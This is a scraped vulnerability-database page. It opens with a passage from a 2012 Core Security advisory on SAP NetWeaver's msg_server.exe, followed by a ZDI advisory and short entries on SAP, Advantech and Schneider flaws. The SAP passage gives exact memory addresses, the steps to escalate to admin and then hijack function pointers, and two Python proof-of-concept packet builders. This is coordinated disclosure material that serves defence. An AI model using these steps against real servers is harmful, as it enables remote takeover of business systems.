instance associated with that client: /----- .text:004230DC loc_4230DC: ; CODE XREF: MsSLoginClient+AAAj .text:004230DC ; MsSLoginClient+B26j .text:004230DC cmp byte ptr [edi+0Eh], 0 ; privileged client? .text:004230E0 jnz short loc_4230EA ; if yes, jump .text:004230E2 mov al, byte ptr ms_admin_allowed ; otherwise, grab the value of the "ms_admin_allowed" global variable... .text:004230E7 mov [edi+0Eh], al ; ...and save it to MSADM_s.admin_allowed -----/ So if we manage to overwrite the value of the 'ms_admin_allowed' global variable with a value different than 0, then we can grant administrative privileges to our unprivileged connections. In SAP Netweaver 'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global variable is located at '0x008f17f0': /----- .data:008F17F0 ; int ms_admin_allowed .data:008F17F0 ms_admin_allowed dd ? ; DATA XREF: MsSSetMonitor+7Ew .data:008F17F0 ; MsSLoginClient+B62r -----/ And the 'j2ee_stat_services' global array, which is the array that can be indexed outside its bounds, is located at '0x0090b9e0': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be targeting '0x008F17C8' as the base address for memory corruption. Having in mind the different memory corruption primitives based on combinations of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and 'flag == 0x2' in our Message Server packet we will be able to add 1 to '[0x008F17C8+0x28]', effectively overwriting the contents of '0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed', all of our future connections will have administrative privileges within the Message Server. After gaining administrative privileges for our future connections, there are at least two possible paths of exploitation: 1. Of course it is not mandatory to have administrative privileges in order to overwrite function pointers, but considering the limitation of targetable addresses imposed by the little granularity of the memory corruption, some of the most handy-to-exploit function pointers happened to be accessible just for administrative connections. 2. Modify the configuration and behavior of the server. That includes changing Message Server's runtime parameters and enabling Monitor Mode in the affected server. 8.1.1. *Gaining remote code execution by overwriting function pointers* Having in mind that the granularity of the memory addresses that can be targeted for memory corruption is not that flexible (0x48 bytes) and the limited memory corruption primitives available, it takes some effort to find a function pointer that can be overwritten with a useful value and which can be later triggered with a network packet. One possibility is to overwrite one of the function pointers which are in charge of handling the modification of Message Server parameters: /----- .data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58] ; function pointers associated to the modification of the "ms/max_sleep" parameter .data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_sleep, \ .data:0087DED0 offset MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2" .data:0087DED0 offset MsSSetMaxSleep> ; function pointers associated to the modification of the "ms/max_vhost" parameter .data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_vhost, \ .data:0087DED0 offset MsSTestInteger, \ ;<-- we can overwrite this one .data:0087DED0 offset MsSSetMaxVirtHost> [...] -----/ By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target '0x0087DED8' as the base address for memory corruption. In this case we can use the memory corruption primitive at address '0x0044D3C1' that always gets executed, which will allow us to add an arbitrary number (the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]' effectively overwriting the function pointer shown above ('ms_changeable_parameter[1].set'). After that we need to send a 'MS_SET_PROPERTY' request, specifying 'ms/max_vhost' as the name of the property to be changed. This 'MS_SET_PROPERTY' packet will make our overwritten function pointer to be called from the 'MsSChangeParam' function: /----- .text:00404DB3 loc_404DB3: ; CODE XREF: MsSChangeParam+CDj .text:00404DB3 lea esi, [edi+edi*2] .text:00404DB6 mov edi, [ebp+pvalue] .text:00404DB9 add esi, esi .text:00404DBB mov edx, ms_changeable_parameter.test[esi+esi] .text:00404DC2 add esi, esi .text:00404DC4 push edi .text:00404DC5 push pname .text:00404DC6 call edx ; call our overwritten function pointer -----/ 'MS_SET_PROPERTY' packets will be ignored by the Message Server if the requesting client does not have administrative privileges, so it is necessary to gain administrative privileges as explained above before using the memory corruption vulnerability to overwrite one of the function pointers in the 'ms_changeable_parameter' global array. 8.1.2. *Modify the configuration and behavior of the server* After gaining administrative privileges for our connections, it is possible to perform 'MS_SET_PROPERTY' packets against the Message Server in order to modify its configuration and behavior. That makes possible, for example, to add virtual hosts to the load balancer, or to enable Monitor Mode [3] (transaction SMMS) on the affected server. Enabling Monitor Mode takes two steps: 1. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/monitor"', property 'value == 1'. 2. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/admin_port"', property 'value == 3535' (or any other arbitrary port number). After sending the second 'MS_SET_PROPERTY' packet, the SAP Netweaver Message Server will start listening on the specified port, waiting for connections from instances of the msmon.exe monitoring program [4]. The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x0d' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd" crash+= "\x00\x00\x00\x01" crash+= "\xff\xff\xff\xff" crash+= "\x00\x00\x00\x00" send_packet(connection, crash) print "[*] Crash sent !" -----/ 8.2. Malicious packets are processed by the vulnerable function 'WRITE_C' in the 'msg_server.exe' module. The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x05' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "AD-EYECATCH\x00" crash+= "\x01\x01" crash+= "%11d" % 104 crash+= "%11d" % 1 crash+= "\x15\x00\x00\x00" crash+= "\x20\x00\x00\xc8" crash+= "LALA" + ' '*(20-4) crash+= "LOLO" + ' '*(40-4) crash+= " "*36 send_packet(connection, crash) print "[*] Crash sent !" -----/ 9. *Report Timeline* . 2012-12-10: Core Security Technologies notifies the SAP team of the vulnerability, setting the estimated publication date of the advisory for January 22nd, 2013. 2012-12-10: Core sends an advisory draft with technical details and a PoC. 2012-12-11: The SAP team confirms the reception of the issue. 2012-12-21: SAP notifies that they concluded the analysis of the reported issues and confirms two out of the five vulnerabilities. Vendor also notifies that the other three reported issues were already fixed in February, 2012. Vendor also notifies that the necessary code changes are being done and extensive tests will follow. The corresponding security note and patches are planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21: Core re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28: SAP notifies Core that they will be contacted if tests fails in order to re-schedule the advisory publication. 2013-01-22: First release date missed. 2013-01-28: SAP notifies that they are still confident with releasing a security note and patches on Feb 12th as planned. 2013-01-29: Core acknowledges receiving the information and notifies that everything is ready for public disclosing on Feb 12th. Core also asks additional information regarding the patched vulnerabilities mentioned in [2012-12-21], including links to security bulletin, CVEs, and patches in order to verify if those patches effectively fix the reported flaws. 2013-02-01: SAP notifies that the patched vulnerabilities mentioned in [2012-12-21] were reported in [5] and no CVE were assigned to them. Those vulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06: Core notifies that the patched vulnerabilities will be removed from the advisory and asks additional information regarding the affected and patched version numbers. 2013-02-01: SAP notifies that the security note 1800603 will be released and that note will provide further information regarting this vulnerability. 2013-02-13: Advisory CORE-2012-1128 published. 10. *References* [1] http://www.sap.com/platform/netweaver/index.epx. [2] SAP Security note Feb 2013 https://service.sap.com/sap/support/notes/1800603. [3] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm. [4] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm. [5] SAP Security notes Feb 2012 https//service.sap.com/sap/support/notes/1649840. [6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/. [7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/. [8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/. 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ZDI-12-111 : SAP Netweaver ABAP msg_server.exe Opcode 0x43 Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-12-111 June 28, 2012 - -- CVE ID: - -- CVSS: 10, AV:N/AC:L/Au:N/C:C/I:C/A:C - -- Affected Vendors: SAP - -- Affected Products: SAP NetWeaver - -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 12407. - -- Vendor Response: SAP has issued an update to correct this vulnerability. More details can be found at: http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1 0-eea7-ceb666083a6a#section40 - -- Disclosure Timeline: 2011-10-28 - Vulnerability reported to vendor 2012-06-28 - Coordinated public release of advisory - -- Credit: This vulnerability was discovered by: * e6af8de8b1d4b2b6d5ba2610cbf9cd38 - -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 10.2.0 (Build 1950) Charset: utf-8 wsBVAwUBT+yszFVtgMGTo1scAQLv/wf+MRiEiaRsMyaVgI7MTDUo9sXprBObQ6QM yIlVyGLjwEQrO9KsUMlCj/pfLkgjcHYpCNxcrB0+6ZgtphkIQhrB3w0sj/fjRyn1 Vuugvjazu8xffqujZ2ymaQHR+toaQjeKrtWvVbaTdJI6EFuUi+qT5MrZQfRWhE2X uqXdLphMXYH+SRhNtD+zJhxg4U4emVvirqNJa9YLwFE0UpxGRksKCB4Cx89o2QWE NiC9bPznAVCMOBh/R/8uROXkg1Jg9YBhEu7wzJY95Yfsl4oWpSO0cQOCF0WAWiHi TsUy3xHAjW7gMz7v/QMleok6C/7safK/7qjJRMDrGUQO1csmlZUkAg== =FVga -----END PGP SIGNATURE-----
var-201208-0222 Multiple stack-based buffer overflows in msg_server.exe in SAP NetWeaver ABAP 7.x allow remote attackers to cause a denial of service (crash) and execute arbitrary code via a (1) long parameter value, (2) crafted string size field, or (3) long Parameter Name string in a package with opcode 0x43 and sub opcode 0x4 to TCP port 3900. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. NetWeaver ABAP is prone to a denial-of-service vulnerability
var-202005-0008 Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. Multiple heap-based buffer overflow vulnerabilities exist caused by a lack of proper validation of the length of user-supplied data, which may allow remote code execution. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x0000791d in DATACORE.exe. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required
var-202007-0395 Advantech iView, versions 5.6 and prior, contains multiple SQL injection vulnerabilities that are vulnerable to the use of an attacker-controlled string in the construction of SQL queries. An attacker could extract user credentials, read or modify information, and remotely execute code. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech iView. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of calls to the retrieveActiveTrapCount method of the TrapTable class. When parsing the search_hostname HTTP parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. Advantech iView is a device management application provided by Advantech
var-202106-0542 A CWE-287: Improper Authentication vulnerability exists in PowerLogic PM55xx, PowerLogic PM8ECC, PowerLogic EGX100 and PowerLogic EGX300 (see security notification for version infromation) that could cause loss of connectivity to the device via Modbus TCP protocol when an attacker sends a specially crafted HTTP request. plural Schneider Electric The product contains authentication vulnerabilities.Service operation interruption (DoS) It may be in a state
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
jvndb-2025-000049 ZWX-2000CSW2-HN and ZWX-2000CS2-HN vulnerable to use of hard-coded credentials 2025-07-16T13:54+09:00 2025-07-16T13:54+09:00
jvndb-2025-008881 Least Privilege Violation Vulnerability in the communications functions of NJ/NX series Machine Automation Controllers 2025-07-15T15:54+09:00 2025-07-15T15:54+09:00
jvndb-2025-008783 Firebox T15 contains an issue with hidden functionality 2025-07-14T17:22+09:00 2025-07-14T17:22+09:00
jvndb-2025-008145 Epson Web Installer for Mac vulnerable to missing authentication for critical function 2025-07-08T14:08+09:00 2025-07-08T14:08+09:00
jvndb-2025-008106 Heap-based buffer overflow vulnerability in V-SFT and TELLUS 2025-07-07T16:26+09:00 2025-07-07T16:26+09:00
jvndb-2025-008105 Windows shortcut following (.LNK) vulnerability in Trend Micro Security for Windows (CVE-2025-52521) 2025-07-07T16:04+09:00 2025-07-07T16:04+09:00
jvndb-2025-000047 Multiple vulnerabilities in Nimesa Backup and Recovery 2025-07-07T15:26+09:00 2025-07-07T15:26+09:00
jvndb-2025-007978 Multiple vulnerabilities in Trend Micro Password Manager for Windows (CVE-2025-48443, CVE-2025-52837) 2025-07-04T13:28+09:00 2025-07-04T13:28+09:00
jvndb-2025-000045 Multiple vulnerabilities in Active! mail 2025-07-02T14:13+09:00 2025-07-02T14:13+09:00
jvndb-2025-007754 Multiple vulnerabilities in Contec CONPROSYS HMI System (CHS) 2025-07-02T11:31+09:00 2025-07-02T11:31+09:00
jvndb-2025-007607 Pass-Back Attack vulnerability in Konica Minorta bizhub series 2025-07-01T14:09+09:00 2025-07-01T14:09+09:00
jvndb-2025-007595 Multiple vulnerabilities in Web Connection of Konica Minolta MFPs 2025-07-01T14:02+09:00 2025-07-01T14:02+09:00
jvndb-2025-000046 SLNX Help Documentation of RICOH Streamline NX vulnerable to reflected cross-site scripting 2025-06-30T15:45+09:00 2025-06-30T15:45+09:00
jvndb-2025-007552 Multiple vulnerabilities in TB-eye network recorders and AHD recorders 2025-06-30T14:45+09:00 2025-06-30T14:45+09:00
jvndb-2024-004595 Multiple vulnerabilities in FutureNet NXR series, VXR series and WXR series 2024-07-29T17:51+09:00 2025-06-30T09:56+09:00
jvndb-2025-007519 Multiple vulnerabilities in multiple BROTHER products 2025-06-26T18:15+09:00 2025-06-26T18:15+09:00
jvndb-2025-000043 Multiple vulnerabilities in iroha Board 2025-06-26T15:13+09:00 2025-06-26T15:13+09:00
jvndb-2025-000044 Denial-of-service (DoS) vulnerabilities in multiple Apache products 2025-06-26T14:41+09:00 2025-06-26T14:41+09:00
jvndb-2025-000042 Inefficient regular expressions in GROWI 2025-06-24T15:25+09:00 2025-06-24T15:25+09:00
jvndb-2025-000041 Multiple vulnerabilities in ELECOM wireless LAN routers 2025-06-24T14:50+09:00 2025-06-24T14:50+09:00
jvndb-2025-007390 Trend Micro Internet Security and Trend Micro Maximum Security vulnerable to link following local privilege escalation (CVE-2025-49384, CVE-2025-49385) 2025-06-24T11:18+09:00 2025-06-24T11:18+09:00
jvndb-2025-000040 KCM3100 vulnerable to authentication bypass using an alternate path or channel 2025-06-18T13:42+09:00 2025-06-18T13:42+09:00
jvndb-2025-000039 Multiple vulnerabilities in RICOH Streamline NX PC Client 2025-06-13T16:09+09:00 2025-06-13T16:09+09:00
jvndb-2025-000038 UpdateNavi vulnerable to improper restriction of communication channel to intended endpoints 2025-06-12T15:56+09:00 2025-06-12T15:56+09:00
jvndb-2025-000037 Multiple surveillance cameras provided by i-PRO Co., Ltd. vulnerable to cross-site request forgery 2025-06-06T13:56+09:00 2025-06-06T13:56+09:00
jvndb-2025-000036 TimeWorks vulnerable to path traversal 2025-06-03T15:35+09:00 2025-06-03T15:35+09:00
jvndb-2025-000035 Improper file access permission settings in PC Time Tracer 2025-06-03T14:40+09:00 2025-06-03T14:40+09:00
jvndb-2025-000034 Multiple vulnerabilities in wivia 5 2025-05-30T15:57+09:00 2025-05-30T15:57+09:00
jvndb-2025-001238 Multiple out-of-bounds write vulnerabilities in Canon Office/Small Office Multifunction Printers and Laser Printers 2025-01-29T13:41+09:00 2025-05-27T16:06+09:00
jvndb-2025-000032 Mailform Pro CGI generating error messages containing sensitive information 2025-05-26T14:22+09:00 2025-05-26T14:22+09:00
Vulnerabilities are sorted by update time (recent to old).
ID Description
ts-2022-002 TS-2022-002
ts-2022-001 TS-2022-001